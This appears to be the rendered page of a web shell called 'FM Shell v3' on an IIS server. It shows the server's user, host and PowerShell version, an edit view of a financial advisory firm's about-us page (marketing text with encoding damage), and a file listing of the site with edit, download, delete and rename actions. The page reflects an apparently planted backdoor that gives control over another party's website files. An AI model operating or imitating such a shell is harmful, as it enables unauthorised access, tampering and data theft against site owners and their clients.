FM Shell

FM Shell v3 | user: iis apppool\cms1 | host: TEST-IIS | ps: 5.1.14393.3053 | pid: 9336

cwd: C:\inetpub\wwwroot\shardainvestment.in
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edit: C:\inetpub\wwwroot\sohamcapigrow.com\about-us.html

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<div id="breadcrumb">
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    			<h2 class="head-after">Who We Are</h2>
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				    <li class="breadcrumb-item"><a href="index.html"><i class="mdi mdi-home"></i> Home</a></li>
				    <li class="breadcrumb-item active">About Us</li>
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		    				<p><img src="assets/images/Partner's_image.jpg" alt="image">We Being an individual financial freedom planner, your financial planning for financial goals comes at first, which is a complex process. Thatâs why itâs important to get the right advice. We look at your individual circumstances to maximize opportunities to achieve your financial goals. </p>

<p>My careerÂ in the financial advisory industry startedÂ in 1999 and has been in the business for more than 18 years. In 1999 we formed an organization SOHAM CAPIGROW.</p>

<p>We help people, for their Financial planning. It hasÂ been a perfect career choice for us whichÂ enables us to have a veryÂ meaningful impact on the lives of those whom we serve.Â We enjoy client interaction and the opportunity to solve problems that often seems very complex and overwhelming. We love to continue and serve our clients for many years.Â 
                            <p><strong>Education</strong>  :  Certification in Financial Freedom Planning and Counseling.</p>
<p><strong>Financial Industry Designations</strong>  : INDIVIDUAL FINANCIAL ADVISOR.Â </p>

<h3>Registered Investment Adviser</h3>
<div class="points">
<ul>
<li>InvestmentÂ Advisor Representative through PRUDENT Corporate Advisory Services and online investment platform through FundzBazar.</li>
<li>Insurance Advisor Representative through Life Insurance Corporation of India (LIC of India), HDFC Life and Kotak  ICICI Pru Life Insurance company.</li>
<li>General Insurance Representative through Probitas & Gennext Insurance Brokers Pvt Ltd.</li>

</ul>
</div>

<h3>Insurance and Investment Licenses</h3>
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<ul>
<li>Life Insurance. (IRDA)</li>
<li>Mutual Funds. (AMFI)</li>
<li>General Insurance Brokers. (POS by IRDA)</li>
</ul>                           
</div>
<h3>Our strength</h3>

<div class="points">
<ul>
<li>Have achieved Champion Trophy of LIC of India 2012-13.</li>
<li>Best Advisorâs Trophy of LIC of India 2014-15, 2016-17.</li>
<li>Achieved best advisorâs recognition for Mutual Funds of Prudent CAS every year since 2014.</li>
<li>Attended many seminars and work shop related to financial education and products.</li>
<li>Successfully completed courses of Institute Of Excellence,(IOE) Mumbai.</li>
<li>Successfully completed course of Financial Freedom Planning from Sambhavana Institute.</li>
<li>Providing our services to +800 satisfied clients since 1999.</li>
<li>Managing assets of 19 Crore + (AUM) of our clients through Mutual Funds.</li>
<li>Successfully completed LEAP Program of HDFC Asset Management Co. in 2016.  </li>
<li>Completed course work & training for âAdvanced Financial Goal Planningâfrom AAFM India 2018.</li>
<li>Participated in the program âMust know aspects of Fixed Income Investingâ by Franklin Templeton Academy, Franklin Templeton AMC India Pvt Ltd on 24th May 2018.</li>
</ul>
                        </div> 
<h3>Organizations</h3>
<div class="points">
<ul>
<li>LIC of India.</li>
<li>Prudent Corporate Advisory Services.</li>
<li>HDFC, Kotak and ICICI Pru Life Insurance Co Ltd.</li>
<li>Probitas & Gennext Insurance Services & Brokers.</li>
</ul>
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name	size	mtime	actions
[D] assets	-	2023-02-08 18:28	del ren
[D] Calculators	-	2023-02-08 18:28	del ren
[D] Calculators1	-	2023-02-08 18:28	del ren
[D] Client Desk	-	2023-02-08 18:28	del ren
aboutus.html	5138	2023-02-08 18:27	edit get del ren
aif.html	6793	2023-02-08 18:27	edit get del ren
calculator.html	6399	2023-02-08 18:27	edit get del ren
ClientDesk.html	705	2023-02-08 18:27	edit get del ren
contact.html	8250	2023-02-21 11:44	edit get del ren
index.html	23328	2023-02-21 11:51	edit get del ren
insurance_all.html	7123	2023-02-08 18:27	edit get del ren
insurance_portfolio.html	5668	2023-02-08 18:27	edit get del ren
investment.html	5149	2023-02-08 18:27	edit get del ren
loans.html	5630	2023-02-08 18:27	edit get del ren
login.html	6287	2023-02-08 18:27	edit get del ren
mutual_fund.html	7655	2023-02-08 18:27	edit get del ren
pms.html	7068	2023-02-08 18:27	edit get del ren
retirement_planning.html	6170	2023-02-08 18:27	edit get del ren
structure.html	7977	2023-02-08 18:27	edit get del ren
tax_fundamental.html	5329	2023-02-08 18:27	edit get del ren
unlisted.html	6059	2023-02-08 18:27	edit get del ren
wealth.html	7254	2023-02-08 18:27	edit get del ren